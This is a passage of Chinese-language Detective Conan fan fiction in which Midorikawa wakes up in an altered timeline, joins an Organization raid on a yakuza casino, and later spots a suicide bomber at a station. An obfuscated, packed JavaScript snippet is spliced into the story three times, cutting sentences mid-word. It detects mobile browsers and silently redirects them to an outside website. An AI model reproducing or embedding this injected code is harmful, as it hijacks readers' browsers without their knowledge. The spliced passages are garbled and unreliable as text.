但是,自己明明上一秒还坐在琴酒身边。绿川腹诽。怎么?我总不会是被这虐待狂拿枪柄敲晕,直接丢了半天记忆吧? 身上穿的衣服似乎是同一件,材质比绿川记忆里的摸起来更柔软,是反复洗过几遍的那种旧衣服。肩上背着黑色的贝斯包——里头装的当然不是贝斯,绿川扯了扯斜挎带,压下来的熟悉重量使他略感安心。 总之还是先想想看自己原本要做什么吧,早点做完早点放假,收拾回长野的行李,志保似乎也要见他。绿川盘算道。 由于前段时间太忙,他一直没找到合适的时机向琴酒提出申请。上一秒——或者说昨晚,绿川还想着自己可以在完成任务后趁琴酒心情好,稍微提上一嘴,没成想眼睛一闭一睁,哈哈,半天没了。 绿川摸出手机,输入密码。 【密码错误。】 不对。 指尖摸到了手机背面陷进去的一道弹痕。绿川自己的手机是老款式,磨损重,但没有这种大伤。 锁屏上着时间:6月20日,上午9:08。 ……这何止跳过了半天,简直是一个月有余。绿川沉默,怪不得他觉得体感温度不对。 但是,到底发生了什么? 绿川逆着人流穿过马路,在一家服装店展示橱窗的外玻璃墙上,他观察着自己:脸没错,脖颈与面部的相接处没有异样,大概可以排除贝尔摩德的恶劣玩笑;身躯的熟悉感与下意识的肢体动作也都证明了他还是他。 真奇怪。 绿川拉起兜帽,绕过两个拐角,走过三条小巷,像只猫似的忽然藏进某些只允许猫看见并通行的夹缝里,但凡一秒没能盯住,他就从人们的视野里消失了。 他的目的地是一家酒吧,位于米花町4丁目11番地,本质是组织的自由集会点,致力于打造精致高效的“弑出有名”企业文化——翻译成人话就是:希望某些人闲得没事的话去喝酒唠嗑,少明目张胆地在外头狂轰滥炸消耗组织经费。 绿川闲得没事时总待在那儿。古语有云,话痨的精神状态永远不会太差(尽管在这种地方寻找精神正常人士多少让绿川觉得自己可悲),绿川不是话痨,但爱听话痨讲话,比如伏特加,或者基安蒂。后者因为贝尔摩德的原因不太待见绿川,又因为绿川一没冒犯过她,二与科恩的气场相合,所以才勉强接受绿川融入了这个绝对排除卡尔瓦多斯的狙击手小群。 听这些好像没心没肺的家伙讲话时,绿川能暂时忘掉一些东西。 除代号成员外,酒吧也接待组织的外围成员。两间接待室被一堵墙壁隔开,代号成员理论上可随意通行,实际上除绿川外,根本没人想往喽啰眼前凑,更别说在手机里存上一堆联络方式了。 酒吧在一条小巷深处,没挂招牌。一扇不起眼的木门开在墙上,两侧用喷漆画满颜色明丽的酒杯酒瓶与黑色飞鸟,从新潮的艺术风格上看,似乎出自青少年之手。 走进小巷前,绿川听到了一段对话: “听说你最近在干些没意义的蠢事。” “想要的话,我让伏特加带一本给你。” “哼……希望你别把BOSS交给你的任务……” “还轮不到你来指点我吧,琴酒。” 对话里的两人,一个自然便是琴酒,另一个绿川没能认出声音。思来想去,组织里敢对琴酒这样讲话的实在不多。 绿川在拐角处停了下来。 没多久,小巷里走出一个穿沙色外套的红发青年,年龄似乎与绿川不相上下。 绿川盯着这张有些熟悉的脸,忽然说道:“是你。” “你好。”青年面色如常地回应了他的问候,掏出手机看了一眼,又收回兜里。 绿川对青年的感情很复杂。他们一起生活的时间加起来不到五年,尽管不算朋友,但也谈不上陌生。十二年前,对方似乎从BOSS手里接到了什么任务,然后便从组织里销声匿迹了。绿川一直猜测他与贝尔摩德有血缘或其他方面的联系——毕竟两人似乎从未老过。 不管怎么说,青年到底是比琴酒给过绿川更多照顾,这也是绿川会在这里叫住对方的原因。 “琴酒他们在等你。”青年说道。 看来来对了地方。绿川一副“我知道”的模样点点头;两人不再多言,擦肩而过。 小巷里,琴酒似乎已先一步进了酒吧。绿川走到墙边,将一块与机关相连的墙砖踢进去,接着拉动木门中央的拉环,掰向右侧。一堵墙壁以门的形式打开了。 身后传来高跟鞋尖敲在地上的声响,跟着一串轻飘飘的掌声。 “哎呀,真了不起。” 是贝尔摩德——绿川想——这个不是靠声音或样貌,而是靠感觉去分辨的女人,来时如同一对鳞翅飞过耳边带起的一阵风,自然而然地宣告着自身存在,可若不回头去看,永远不会知道来的究竟是蝴蝶还是毒蛾。 “组织的新人吗?”贝尔摩德道,“一眼就看破了这道机关……不要去做行动组的粗活了,有更好的路值得你走哦。” 上午好——绿川刚刚挤出一点笑意,却马上收了回去。 什么叫……组织的新人? “别那么紧张,小帅哥。”见绿川一言不发,贝尔摩德笑着觑了他一眼,“你的名字是?” 问得好,我也想知道。绿川不确定自己该报哪个名字,又或者哪个都不该报。 “等见了琴酒再说吧。” 贝尔摩德的笑容里多了几分无趣。 绿川不管她。能让贝尔摩德感到有趣的事,最后一般都会滑向未知的深渊。 两人走进酒吧。除了一个绿川没见过的黑发男人外,剩下的都是熟人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240579|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看,我就说绿川没问题吧!”吧台旁,基安蒂拍着科恩的肩膀喊道,“你欠我一次了。” “你来干什么,贝尔摩德?”琴酒面色不虞。 “BOSS还没有通知你吗?”贝尔摩德撩撩头发,“我是来帮你的,琴酒,他不喜欢风险。”她用两手的手心托住手肘,饶有兴趣地问,“不介绍介绍新人吗?” “两个还不需要名字的货色。”琴酒语气冷淡,直到讲解任务时才多了几分热情,“关东玄月会动了组织的一条武器线,除了顾问柳乐元夫外——一个不留!” 命令下达得简洁迅速,执行得井然有序。基安蒂与科恩负责狙击,伏特加负责数据侵入,其余人机动潜入。 行动开始于关东玄月会名下的一家大型赌场,有情报称其高层成员今日将在这里与关西的极道组织——百鬼会社展开首轮停战洽谈。黑衣组织与日本极道的社交圈其实并不重合,因为实力不均的原因,平日也很少插手极道纠纷,绿川坐在前往赌场的车里,真心实意地猜测关东玄月会要么是昏了头,要么是被有心之人陷害。 两者差别不大,左右死路一条。倒是那个叫柳乐元夫的,不清楚是什么底细,竟然能被留下一命。 绿川拿到他的照片,记住了那张没什么特色的脸。 “我是诸星大。”与绿川乘同一辆车的黑发青年如此说道。 “是吗。”绿川笑笑,这是冷淡稍显温和的一种表现形式。 “琴酒给我们的承诺……你相信吗?” “他在我们上车前说的那句吗?” “啊……”诸星大慢吞吞地说,“那句‘如果任务成功,你们都能拿到代号’。” “这不是很好吗?” 绿川道。他现在在意的不是怎么获得代号,而是他怎么没了代号。 “是很好,如果我们两个都活下来了的话。”诸星大没有看他,仿佛说的只是无心之语,“活着的时候把名字留给别人,死后才能被他们记住,你似乎不懂这个道理啊。” “说得对,”绿川赞同道,“我会记住你的名字的,诸星君。” 他敢用自己的狙击枪的准度发誓,诸星大刚刚绝对对他动了杀意。 两人不再交谈。下车时,绿川发现贝尔摩德正倚在车边,对他勾了勾手指。 “绿川隆一……对吧?”贝尔摩德笑得风情万种,“聪明人在我这里总是有优待的。来吧,你可以和我一起伪装成客人进去。” 绿川才不信她那套“聪明人”的说法,他不小心在贝尔摩德面前暴露了新人不该有的一面,日后还不知道会被抓住什么把柄。贝尔摩德嘴里的善待和找到了新玩具、新宠物向来是一个道理——绿川在这十七年间已经体验得够多了。不过,正像一般人不会轻易破坏玩具一样,贝尔摩德的示好在一定程度上附带了安全保障,所以绿川从无怨言。 “拜托你了,贝尔摩德。” 绿川顺从地来到贝尔摩德身后,以保镖的身份与她一同进了赌场。 16. 16 这间关东玄月组手下规模最大的赌场采用日式装修,游戏种类不局限在德扑、轮盘等欧美玩法上,也有骨牌、花牌一类的传统玩法,入场前需做资产调查,年金3000万日元以上准入。出入这里的哪怕不是名流,也多少有些社会地位,比起赌场,称之为社交俱乐部或许更为贴切。 贝尔摩德戴一副遮阳镜,肩披小西装,走起路来能成为未来十年总裁用双脚出行时的教学模板。她夹着一张信息录入卡递给侍者,里面已经被伏特加提前替换成了假的身份信息。 “欢迎,艾琳女士,祝您玩得愉快。” 侍者查验完身份,将信息卡恭敬地还给贝尔摩德。大门向她敞开,在她身后跟着的绿川却被一条手臂拦下。 “无关人士不得入内。”侍者道。 “他是我的人。”贝尔摩德没转身子,只对侍者侧过半张脸,神情在门廊投下的阴影里显得暧昧不明。 “但是……” “咳咳。”另外一名侍者快步走来,用力按下同事的手臂,挤出妥当的微笑,“这是我们的新人,艾琳女士,很抱歉打搅了您。您请便。” 贝尔摩德自然不会计较。 绿川快步跟上前去,耳朵还留在后面偷听侍者间的对话: “你傻啊!那可是上头的大客户,手头的钱分你个零头你都能躺着过完这辈子了。” “穿成那样还能做小白脸……” “要你管,说不定人家就喜欢那张脸。滚滚滚,工作去,下次再出问题拿你是问!” 没有下次了。绿川想。 请问他兜帽卫衣搭牛仔裤的打扮惹到谁了呢?难道非得像琴酒那样一顶礼帽一件风衣一双皮鞋才能够上贝尔摩德挑选情人的基准线吗? 趴地上架一秒狙就老实了。 绿川仔细地环视了一眼赌场内部:根据游戏类别不同,通过装饰性隔断将偌大的厅堂划分出了几大区域。一道通往二层的楼梯,有警卫把守。几扇暗门。狙击枪的视野范围很大,潜入路线大概有…… 两条。 “来过赌场吗?”贝尔摩德低声问道。 “来过。”绿川答。这种小细节对不对得上都无伤大雅。 赌场一侧的高台上,几名乐人弹着三味弦与萨摩琵琶,音量不大,却能通过赌场特殊的内壁结构穿得很远,让所有窸窸窣窣的交谈声仿佛被压在水下般,即使是大庭广众下也仍然显得私密。 “出千会吗?” 这属实超出了绿川的能力范围。 “那个人。”贝尔摩德似乎没指望绿川真能点头,不动声色地对他指了指一张麻将桌旁的中年男人,“赌场安排的牌搭子,手不干净,袖子里藏了至少三张牌。” 她轻轻推了绿川一把。“去吧,绿川君,让我看看你闹事的本事。” 绿川沉默。 在问他会不会出千前,贝尔摩德最应该问的应该是他会不会打麻将吧? 但贝尔摩德已经无可辩驳地离开了他,在这桌牌局结束的瞬间,以艾琳的身份勾搭走了席间一位牌客,谎称有生意要谈。 绿川接到她的眼色,立刻上了桌。 洗牌、掷骰、确定庄家、发牌。尽管没研究过麻将,绿川至少还是分得清万筒条。他听人说花色越统一,牌型就越大,倍率就越高。 那他手里一水字牌,没有一张搭边一张相同…… 应该是运气很差的意思吧? 绿川叹气。他好像从小运气就差,倒是也习惯了,反正他的目的不是赢钱。 打牌嘛,从左往右出就好啦,简单得很。 绿川故作熟练地摸牌,故作内行地码牌,再故作谨慎地出牌,实则始终注意着中年男人的动作。 ——看不出来。 绿川坐在中年男人对面,瞪干了眼也没抓到对方做手脚的痕迹。但贝尔摩德总不至于在这种事上骗他,何况他们本就来者不善,抓对抓错又有什么区别? 贝尔摩德说什么,绿川做什么,一向如此。这算是代号成员之间微妙的食物链。 于是在中年男人下一轮摸牌时,绿川忽然伸出手去,像把钳子一样钳住了对方的手腕。 “你干什么!” 中年男人怒喝。绿川手上发力,捏得对方当即扭曲了脸,捏着麻将牌的手指一松,竟然从手心里摔出了第二张牌。 牌客替绿川喊出了他的台词:“有人出千!” 一阵短暂地静阒。 “这位客人——” 区域管理员急步走上前来,试图稳定现场秩序。 绿川松开中年男人,向右后退开一步。 光洒到了绿川原本站的位置上,也洒到了管理员的身上。一颗仅一节指节大小的金属造物仿佛溶进了光里,笔直地从窗外射入。 窗玻璃的破碎声,接连两次,大约是基安蒂与科恩同时开枪。一枪命中管理员的肩膀,一枪命中一名警卫。 现场倒下的却是三人——还有一枪是在两把狙击枪射击的间隙里开出的,对准一名站在中央的警卫。 背后中枪……绿川向警卫身后看去,贝尔摩德正与她带走的牌客坐在一张小圆桌边的两把木椅上,藏在桌面下的左手刚刚收回身后。 她兴味盎然地朝绿川笑笑,显然打算在这桩事件里装无辜。 好吧,我做恶人。绿川有种“我就知道”的无力感。 前后思考不过十秒钟,绿川迅速地从腰后抽出手枪,对准天花板的某处扣下扳机。 下一秒,子弹射穿了一条固定在吊顶上的锁链,一座悬在半空的巨型竹花盆因承受不住重力,直直地坠到地上,砸昏了三名聚在一起的警卫与侍者。 “请不要动!”绿川尽力使自己的声音压过竹花盆砸地的轰隆声,“各位应该知道,这里是关东玄月组的地盘。他们做了不该做的,需要对自己的错误负责,但冤有头债有主,只要各位安静一些,今天的一切对各位而言不过是又一场能剧落幕。” “啊——!”忽然有人尖叫。 绿川回身,脚尖一扫,单手擒住一名从背后偷袭而来的侍者,从其手中夺过弹簧刀,踢向远处——恰好滑到了贝尔摩德脚下。 “我说了,请各位安静一些。”绿川踩住侍者的半张侧脸,鞋底碾着脸颊,再次鸣枪示威。 他低头问道:“赌场遇袭,关东玄月组对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246510|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该有紧急预案吧?增援的警卫都在哪儿?” 侍者痛得呲牙咧嘴,没有答话。 绿川的视线一个个扫过赌场的其他员工。 “马上……马上就来了!唔……” 最后一声是有人拿手肘捣他一下,要他住嘴而造成的闷哼。 绿川一瞥,发现说话人正是先前在门口拦下他的那名侍者。他轻轻一笑,以堪称温柔的语气回问道:“平时早该出现了吧?为什么来晚了?” 没有人回答他,但答案不言而喻。 众人悄悄交换着眼神。 “这就是我们给予各位的诚意。”绿川道,“如果可以,我们仍然希望维持各位目前的生活方式,唯一的区别不过是换了一个合作方而已。” 绿川用余光瞥见了贝尔摩德渐渐扬起的唇角。 果然,剿毁关东玄月组只是组织的目的之一,重点还是接手他们的所有产业线与政商界关系链。 接下来…… 绿川不知道该做什么了。 他在还是苏格兰的时候,有权调动部分外围成员协助,现在降级回准代号成员,彻底变成了无心也无力。 他明目张胆地看向贝尔摩德,要对方给个解决办法。 贝尔摩德身旁的牌客站了起来。 “我相信你们!”这个稍显年老的女人,尽管眼睛里还藏着恐惧与紧张,面对绿川时却是掷地有声的。 是贝尔摩德向她承诺了什么? “请问您是?”绿川问道。 “我是藤原集团的副董事,藤原千里。” 原来如此,日本轻工业巨头藤原集团的二把手,的确是个适合在此刻提出领袖意见的人物。 绿川点点头。“感谢您的理解,藤原女士。您请坐,我们的人员稍后会来与您对接。” “好的……” 以藤原千里为首,越来越多的客人或真心或假意地投出了诚意之箭。没多久,像是为了印证绿川的话一般,十几名训练有素的黑衣人涌进门来,接管了现场。 此时,贝尔摩德已施施然地避开他人视线,踏上了通往二层的楼梯。 绿川将枪握在手里,一言不发地跟了上去。 “做得不错。”贝尔摩德向来不会吝啬夸奖。 这下代号的事情多半稳了。绿川心想。尽管他对坐回代号成员的位置兴趣缺缺,甚至感到些许抵触,但很多问题的答案是外围成员所不能接触的。“有但主观上厌恶”与“没有且客观上不允许”完全是两种情况。 时间的转变、他的身份、宫野姐妹、长野……十七年来按部就班生活在死亡与威胁里的绿川忽然被太多谜团砸出了正轨。 他需要解开这些谜团,然后—— 然后呢? 回到他那所谓的“正轨”上吗? 绿川忽然有些不确定了。他的强项是服从指令,而不是做长远而有计划性的思考。 ……走一步看一步好了,他很快敲定了最适合自己的行动方式。 绿川顺手撂倒了向他袭来的帮派成员们,站在满地人堆间下意识地寻找贝尔摩德—— 他似乎与对方走散了。 17. 17 二层的结构较一层更加曲折,大走廊连小走廊,大房间连小房间,正对楼梯的墙壁上绘有关东玄月组的银色代纹。 绿川与贝尔摩德抵达二层时,地上就已经躺着一些或生或死的帮派若众了。如今贝尔摩德失踪,绿川不可能像根木桩子一样继续杵在楼梯口,只能不断迎着其他袭击上来的敌人向深处前进。 关东玄月组即使势力再怎么庞大,人数也是有限的。绿川没费多少功夫就闯进了靠近楼层中央的一间会客室。 写有“忠义”二字的书法挂纸前,站着诸星大一人。 绿川的肌肉紧绷起来,面对诸星大,反手将纸门拉上。会客室里的另一扇木门位于书法挂纸的一侧、诸星大的身后。 戴针织帽的长发青年很酷也很拽地单手插兜,说道:“我不是为了和你在这里争斗,绿川。” “如果你把手里的枪放下,我会更相信你。” “这个吗?”诸星大背在身后的左手伸出来,对着半空单手扣动扳机,“没拉保险,你大可以安心。” “所以呢?你总不会是想劝我在这儿消极怠工吧。”绿川瞥了一眼右手侧的窗户,“那两个狙击手随时都能看清房间里的情况,比起堵我,建议你还是多在琴酒面前表现表现。” 准代号成员之间的自相残杀不过是对组织资产的无意义消耗。除非能够确认对方是间谍,否则组织上下遵循着严格的禁止内斗政策。 诸星大似乎也提前理解了这一潜规则,低声道:“那两个狙击手恐怕就是琴酒派来监视我们、防止发生意外状况的。” “你想要什么?” “和你结盟。”诸星大精打细算地眯起了那双狼一样的绿色眸子,“那个叫贝尔摩德的女人似乎很器重你,绿川君,所以我认为,你拿到代号的速度会比我更快。到了那时候,我希望你能拉我一把;反之,如果提前晋升的是我,我也会尽力帮你。” 见绿川有了些许动摇,诸星大趁热打铁道:“我很了解这种组织:内部结构老化,权力总是由同一批人掌握。再这样下去的话,我们只是从垫脚石变成了镀金垫脚石,一辈子都拿不到那些我们拼了命本该拿到的东西。唯一的办法,是由我们这一批新鲜血液去冲击高层。更新换代……多一个朋友难道不是更好吗?” 他的嗓音平静而无波澜,但如演讲一般的话语却彰显着野心勃勃。 绿川知道他是对的。十七年间,绿川从未发现组织有任何高层变动。许多新人来了,获得代号后便被派往欧美分部乃至中东战场,有些运气不好便死了,有些身份不好便被杀了。情报组的负责人仍是朗姆,行动组的负责人从上一个琴酒变成下一个琴酒,IT组不成气候,其中实力最强的那个满心欢喜地给人做小弟,而研究组不被允许独立,由BOSS直接管理、琴酒与朗姆负责执行。 但知道是一回事,理解又是另一回事。绿川注视着诸星大,迷茫地问道:“为什么想往上爬?” “这种事……需要理由吗?” 站在那里的是诸星大,可绿川分明看见了记忆里尚且年轻的银发男人。面对同一个问题,男人低头看他,轻蔑地回答道: “这种事不需要理由。” 活下去、为了自己活下去而剥夺他人性命、为了自己活得更好而争斗掠夺……在琴酒嘴里,这些都被归结为一句“不需要理由”。 就连那个人……桑布卡也是如此告知绿川的:不要去寻找理由,因为你还不到能理解它们的年纪,所以活下去吧,活下去的人才有机会为自己赎罪。 他是唯一向绿川提到“赎罪”的人,因此哪怕在一定程度上恨着对方,绿川也依然听从了。 找到理由又怎样?乱糟糟的人生、组织的掌控、没有去处的道路……理解“赎罪”为何的那天真的能够到来吗? 一切对绿川而言都仿佛天方夜谭。 “可以。” 绿川同意了诸星大的提议。 如果他已深陷泥沼,没法搅动这潭死水的话,交给别人——这个与琴酒有着同样坚定意志的男人也许可以。 绿川走到诸星大的身边。两人通过眼神再次确认对方的想法,随后戒备着离开了房间。 会议室在二层最深处,两人刚一摸到门前,一个面上被揍到夹青带红的男人摔出门来,勾起的脊背撞上墙柱,吐出一口血沫。 绿川还没反应过来就被诸星大拉进了一扇侧门后面。 贝尔摩德的声音透过门板传了进来: “别这么粗暴嘛,琴酒,万一人家被吓得说不出话来,你可是要被问责的。柳乐元夫……和照片上长得一样呢。” “不要——不要过来!”男人破音地尖叫着,“放了我,求求你们!你们想要什么我都可以给!” “有你这句话就好办了呢。你也看到了,你的同伴因为不长眼动了我们组织的东西,都得到了应有的惩罚。而你,你是有特殊才能的,柳乐先生,所以放心吧,他不会杀你。” “没错!没错!”柳乐元夫急匆匆地说,“关东玄月组能发展到今天全都多亏了我,我什么都可以做的,保证尽心尽力……尽心尽力!” “我们当然相信,”贝尔摩德笑道,“听闻贵组织近来有一大笔资金流入,这是你的功劳吧,柳乐先生?” “对!是我赚来的钱!不论是两千万五千万还是十个亿……”柳乐元夫顿了顿,似乎对最后提到的金额感到吃力,但还是硬着头皮说,“只要您给我足够的时间,我都可以筹集出来给予您!” “我很好奇,你是怎么撬动这么大一笔现金流的呢?” “这……” 一声枪响。 “我说!我说!” 柳乐元夫沉重地喘了几口粗气。“最近网上有一份很火的问卷……‘如果有一次可以改变人生的机会,想要什么呢’,提出了这种问题。我填完以后,账户里竟然真的源源不断地多出了钱……去银行提取现金也没有任何问题!账目流水明显被更改过,但除我以外没有任何人发现问题!我没有说谎,就是这样的!这就是我知道的全部内容!” “那份问卷,你填的什么答案?” “钱!而且是没有道德风险与法律风险的钱。正常人都会想要这个吧!” 外头一时间沉默片刻。 “是什么样的问卷?发布在哪个网站上?”贝尔摩德问道。 她的问题太具体了,以至于柳乐元夫开始认为自己真的有用,答复逐渐有了底气与逻辑。 “问卷发布在一个名叫DOLLARS的匿名论坛上,我是意外刷到的,觉得有趣才在帖子里回复了。后来发现不对,我再回去找这个论坛时,却怎么搜也搜不到,浏览记录也消失了。这是最近唯一可疑的一件事了,你们一定得相信我!就算我会说话,但我账户里的钱不会啊!” “你在书、记事本,或者任何纸上写过类似的内容吗?” “没有……这种事写出来也太幼稚了。” “这样啊。” “你干什么!”柳乐元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256525|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫再次尖叫起来,“不是说不会杀我吗!” “我说的似乎是……‘他’不会杀你。” “无聊的文字游戏。”琴酒失笑。 “再见了,柳乐先生,祈祷自己下辈子不要再进这种不长眼的组织吧。”贝尔摩德道。 逃跑的脚步声,仿佛猫抓耗子时的逗乐一般被宽容地延长了几秒,但也只是几秒而已。紧接着一声枪响,绿川与诸星大同时感到自己倚靠的门板上被什么压住了。 “情报到手。好了,琴酒,该走了。” “等等。” 琴酒忽然道。 不好! 藏匿在门后的两人对视一眼:刚刚柳乐元夫逃到了这扇门前,尸体倒下的重力却没能把门撞开。琴酒绝对意识到了门后有人。 密谋晋升只是纪律问题,万一被琴酒误认成间谍,那才是问都不问就能喂一包枪子的事。绿川暗道。 必须逃跑。 房间北向有一扇窗,基安蒂与科恩倒是不在,但伏特加的车正好停在那个方位,跳窗并不现实。 天花板上有一道通风口。诸星大站在下面,十指交错,双手搭出一处垫脚的小平台,示意绿川过去。 绿川将门旁用于摆放花瓶的木架斜倒放下,抵在门后,伪装成战斗残局,接着借诸星大向上一托的力,爬进了通风口。 两人动作很快,不到半分钟时间,绿川就伸手拉住诸星大,帮助对方也爬了上来。大约十秒钟后,琴酒推门——一下没能推开,再次用力,卡在门后的木架才被撞开。 绿川与诸星大没有窥视房间内的情况。琴酒这类人对目光是极其敏感的,他们不会冒此风险。 在他们看不见的地方,琴酒仔细检查了与房间相连的另外两个房间、窗外与壁橱。最后,他停在通风口的斜下方,忽然举枪,朝通风口□□击。 子弹几乎是擦着绿川的眼前飞过,命中了管道的金属板。 “琴酒?”贝尔摩德倚在门口,“有漏网的小鱼苗?” “绿川隆一呢?”琴酒问道。 “他?好像被我在哪儿扔掉了吧。” “最好别让我发现他们之中有人是老鼠。” “那你可以排除绿川了。”贝尔摩德扯着嘴角,笑起来的原因并非愉快,而是习惯性的伪装,“有些东西,那些干净的人再怎么样也演不出来。” 被贝尔摩德莫名其妙发了一张坏人卡的绿川此时正与诸星大在通风管里潜行。他们必须抢在琴酒之前回到一层,这样狡辩起来会更有利。主通风管一路通向一个他们没有见过的房间,开门出来竟然就是一楼。 “来一根吗?”诸星大掏出烟盒。 绿川没有拒绝,借着新同事手里的火点燃香烟。 两人一站一坐地回到大厅中央,假装在那儿待了很久,并在琴酒与贝尔摩德出现时平静地打了招呼。 没有被质问,这一关暂时算是过了。 “波本在哪?”琴酒抓了一个忙忙碌碌收拾现场的后勤成员问道。 贝尔摩德惊讶。“他也来了?” “谁让你们一下子抓了这么多人,忙不开,只好由我来做苦力咯。” 一道亲昵而柔和的声音响了起来。绿川看着走近他们的金发青年,心想波本这个代号倒是头一次听说。 “任务结束,你们等后续通知。”琴酒一秒不等地卸磨赶驴,催着绿川与诸星大走了。 不清楚是不是错觉……绿川琢磨,那个波本似乎多看了自己两眼? 18. 人体炸弹事件(一) 绿川正在闲逛。 昨天的任务结束后,他与诸星大分别,独自回了安全屋——地址没问题,只是内部装潢显得冷淡,绿川暂时没什么精力去添置花花草草来为自己的生活幸福指数造假。 他在屋子里搜了一阵,翻出几张银行卡,账户密码像手机密码一样好猜。他用这些钱找了个之前熟悉的情报商,拜托对方去查绿川隆一这个名字。 查本名的话说不定更有价值……但绿川担心这会惹来组织不必要的注意。 再说,他已经很久没用过那个名字了。 大致安顿好后,绿川去找了两个人。 一个是在楼下便利店打工的杉山三——本该如此的,可当便利店声明自己从未雇佣过这样一位店员后,世界之间的差异就越发大了。绿川想起自己曾经恐吓过这张狗皮膏药整整三个月也没能把对方从身上撕下来,反而被越黏越紧,结果现在需要他时倒是闹起了失踪。 还是说…… 这个世界的自己根本没有见过杉山三? 绿川加了点钱,把杉山三的名字一起扔给了情报商。 他要找的第二个是宫野明美。还没到大学暑假的日子,绿川直接进了学校蹲人。他之前来学校接过明美几次,知道对方下课后常走哪一条路,因此顺利地见到了对方。 “绿川哥。”——他没有听见明美意外却喜悦的声音。相反,看向他的是一双因被吓到而瞳孔略略放大的眼睛。 似乎是意识到这样的反应对陌生人而言过于无礼,女学生讪讪地道了一声抱歉,提着背包汇入了其他学生当中。 明美的反应证明了她不认识绿川,但那层萦绕在她眉间的不显眼的阴云仍然昭示了组织对于这对姐妹的控制。所以…… 唯一出了问题的是我,绿川想。熟人算是找不到了,想从熟人口里挖点消息目前也不可能。这个世界的自己不至于惨到连一个熟人都没有吧? 毫无信心的年轻狙击手就这样一边等待情报商的消息,一边在东京街头闲逛起来。 逛着逛着逛到了车站。 这天是周末,车站人流量大,来来往往的旅客成群结簇,绿川却像条没有实体的幽灵一样不被人撞到或接近。 他在观察狙击点。哪里是最合适的狙击点位、哪里容易暴露……研究并将它们记录在地图上是绿川在工作中培养出的为数不多的爱好之一。 上一辆电车刚刚到站,乘客们正向外涌出。如果有人在这浪潮里一动不动的话,其显眼度不比狙击点位更低。 绿川看着那站在站台旁的中年男人:50岁上下,穿一件拉起拉链的冲锋衣外套,双手捧在鼓起的肚子上,嘴唇抖个不停,额前冒的汗流进眼里了也不伸手去擦。 那人的眼神飘忽不定,每每似乎要开口叫住什么人了,最后又垂下脑袋,露出一副“别来打扰我”的模样。 奇怪的人。 绿川收回视线,却发现面前有个留着金色短发的年轻女人也在看向那边,接着看向自己。 “诶?你——” 女人一瞬间睁大眼睛,又像是忽然想起什么一样,把话头咽了回去。 “你认识我?”绿川却不掩饰,两步走到了女人面前。 “没关系吗?”女人的眉毛微微垂下,“航君说如果在外遇到了,最好装作不认识你。我是娜塔莉·来间,航君的女朋友,毕业那天我们见过一面的。” 航?不认识。毕业?没上过学。 绿川观察着娜塔莉:混血,肩上背着一个大旅行包,手臂上搭着一件的厚外套。在这个时节还要穿风衣的地方……多半是从北海道来的? “真抱歉,来间小姐,”绿川笑了笑,“我只是没想到你还能记得这张脸。” “我可是老师啊。”娜塔莉自信满满。 “这次是特意来东京看男朋友的吗?” “本来是想给航君一个惊喜的,不过……”娜塔莉叹了口气,“可能就要暴露啦。” “为什么这么说?” “因为那个家伙。”娜塔莉指着绿川先前注意到的中年男人说道,“他很奇怪吧?站在那里差不多20分钟了。刚刚有乘务员过去询问他是否需要帮助,被大声吼了‘别管我’!但是他的眼神很可怕,像是走投无路之人采取任何行动都不为过似的,即使不是暴力行动,稍微退后两步就会直接掉进电车轨道里,那样也很危险吧?所以我就报警了。” 绿川再次观察起中年男人:外套下鼓起的似乎不是啤酒肚,而是某种有棱有角的几何体。尽管戴着一条腕表,却完全没想过把手从肚子上挪开看表,反而每隔几秒就瞥一眼站台里的挂钟,满眼写着焦虑与紧张。等等—— 绿川眼尖地看见一点红色从男人的外套下露了出来,材质似乎是乙丙橡胶,常用于包裹电线的绝缘材料。 原来如此,是炸弹啊。那确实很危险呢,报警是正确的。 ……嗯? “来间小姐,”绿川抱着一丝希望问道,“报警和你的惊喜暴露有什么关系?” “诶?”娜塔莉眨眨眼,“当然是因为,来的有可能是航君啊。” “娜塔莉!” 一个高大的影子忽然投到了他们身前。 绿川下意识地拉低兜帽,冷淡地看着一个足有一米九高的粗眉毛警官笑着抱了一下扑进怀里的女朋友,旁边还站了一个双手抱臂、满脸不爽地瞪着自己的黑色卷毛男。 提问,已知他和一个条子做过同学还一起毕业,现在却不能以条子的身份出现,那么他是谁? 绿川不知道。绿川认为琴酒或许比自己更好奇答案。 还好自己还没真正拿到代号,组织懒得在他身上耗费精力。绿川扶额。代号成员从获得代号起的半年内才是组织真正的审查期;半年到一年内则会与资历相近的其他代号成员组成搭档,互相监督,允许举报——举报有误的话,当然也免不了担责;一年后,审查才算真正结束。 